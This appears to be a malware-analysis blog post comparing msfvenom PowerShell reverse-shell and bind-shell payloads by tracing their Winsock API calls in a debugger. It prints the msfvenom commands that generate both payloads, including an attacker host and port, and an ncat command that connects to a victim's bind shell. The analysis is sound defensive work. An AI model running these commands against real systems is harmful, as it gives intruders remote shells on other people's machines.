Powershell scripts used to run malicious shellcode. Reverse shell vs Bind shell

In this post we’ll see 2 different powershell reflection payloads: a reverse shell and a bind shell. The purpose of the article is to show the differences between them and how we can determine crucial information like the IP address and the port contained in the reverse shell payload and the port which is opened on the machine using the bind shell payload.

Analyst: @GeeksCyber

The following command is used to generate a powershell script which will execute the reverse shell payload:

msfvenom -a x86 –platform windows -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -f psh-reflection

The purpose of the Powershell script is to allocate a new memory area using VirtualAlloc and execute the shellcode in the context of a new thread created using CreateThread function, as shown below:

Figure 1

Usually the script is encoded with Base64 because this way the attacker is able to execute it using -EncodedCommand option. We can decode the shellcode using base64 command with -d parameter:

Figure 2

Or we can use CyberChef (https://gchq.github.io/CyberChef/) to decode the base64 encoded code:

Figure 3

Now the idea is to transform the shellcode to an executable which can be debugged using x32dbg. The first step to achieve this is to prepend each byte with “\x” because that’s the form of the input the tool used to convert the shellcode expects, as shown in figure 4:

Figure 4

We use Shellcode2exe (https://www.aldeid.com/wiki/Shellcode2exe) to convert our shellcode to a windows executable:

Figure 5

If we open shellcode.exe in IDA and x32dbg we are able to analyze the binary as usual. We could use an online disassembler (https://onlinedisassembler.com/odaweb/) to determine if there is a chance that the shellcode has been generated using msfvenom:

Figure 6

Firstly the process tries to load the DLL which contains socket functions (ws2_32.dll) using LoadLibraryA API:

Figure 7

After the library is loaded into the memory of the process, it calls WSAStartup function to initiate the use of the Winsock DLL by the current process:

Figure 8

The WSASocketA API is used to create a socket, the parameters are described as follows:

  • Af = 0x02 – AF_INET – IPv4 address family
  • Type = 0x01 – SOCK_STREAM – the socket provides sequenced, reliable, two-way transmission mechanism
  • protocol = 0x00 – the service provider will choose the protocol to use
  • lpProtocolInfo = 0x00
  • g = 0x00 – no group operation is performed
  • dwFlags = 0x00 – a set of flags used to provide additional socket properties
Figure 9

The binary is using the “connect” function to establish a connection to a specified socket. The data structure that the second parameter is pointing to contains the port value (0x1BB = 443 in decimal) and the IP address (0xC0A8A481 = 192.168.164.129) which will be used to get a reverse shell:

Figure 10

After the function call, we can see a connection back to our attacker machine:

Figure 11

The malicious process executes cmd.exe by calling CreateProcessA with the required parameters as shown in the next figure. This step is necessary in order to have a shell on the victim host:

Figure 12

We’ve caught the reverse shell on port 443 on our machine:

Figure 13

Now the process is calling WaitForSingleObject API with INFINITE parameter (0xffffffff) and then it enters a waiting state because of it. This will end when the reverse shell would be killed:

Figure 14

At the end of the execution, the malicious process uses ExitProcess function (with an exit code of 0) to end the current process and all its threads:

Figure 15

Note: All of the API functions are located in the memory of the process based on some hashes of the function names. We can summarize the flow of the execution as follows: WSAStartup -> WSASocketA -> connect -> CreateProcessA -> WaitForSingleObject -> ExitProcess. We will construct a similar chain for the bind shellcode in the next paragraphs.

For the second part of the article we’ve generated a powershell script which ran a bind shell payload (port = 4444 by default):

msfvenom -a x86 –platform windows -p windows/shell_bind_tcp -f psh-reflection

As before, we’ve decoded the base64 encoded payload and converted to an executable called shellcode2.exe using Shellcode2exe python script. We’re going to debug the new executable using x32dbg and we’ll compare the flow of the execution with the first one. As in the first case, the first step is to load ws2_32.dll library using LoadLibraryA function:

Figure 16

The process performs a call to WSAStartup API in order to initiate the use of the Winsock DLL:

Figure 17

As before the binary creates a new socket using WSASocketA function. The parameters of the function call are the same as in the first case:

Figure 18

Starting with the next function calls the flow of the program is changing. There is a call to bind function where we can observe the address family equal to 0x02 (AF_INET) and the port which will be open on the machine (0x115c = 4444 in decimal):

Figure 19

Now the socket is placed in a state to listen for incoming connections using the listen API. The first parameter is a descriptor of the socket and the second one is called backlog and represents the maximum length of the queue of pending connections:

Figure 20

The process is using the accept function to allow an incoming connection attempt on the socket. The first parameter is a descriptor of the socket that was placed in a listening state and the other parameters are optional and set to 0:

Figure 21

Now we’re connecting to the victim machine using the following command:

ncat 192.168.164.128 4444

If anything went wrong and the connection is not successful, the program closes the socket using closesocket API:

Figure 22

Now we reach the point where everything went smoothly. As before the malicious program spawns a cmd.exe process using CreateProcessA function in order to have a shell on the victim host:

Figure 23

We’ve successfully performed all the necessary steps in order to obtain a shell on the machine:

Figure 24

As before there is a call to WaitForSingleObject API with INFINITE parameter (0xffffffff) which pauses the current process until the shell is killed/closed:

Figure 25

As a final step the binary is using ExitProcess function to finish the current process and all its threads:

Figure 26

Note: The chain of API calls for the 2nd payload: WSAStartup -> WSASocketA -> bind -> listen -> accept -> CreateProcessA -> WaitForSingleObject -> ExitProcess

References

https://gchq.github.io/CyberChef/

https://www.aldeid.com/wiki/Shellcode2exe

https://onlinedisassembler.com/odaweb/

https://docs.microsoft.com/en-us/windows/win32/api/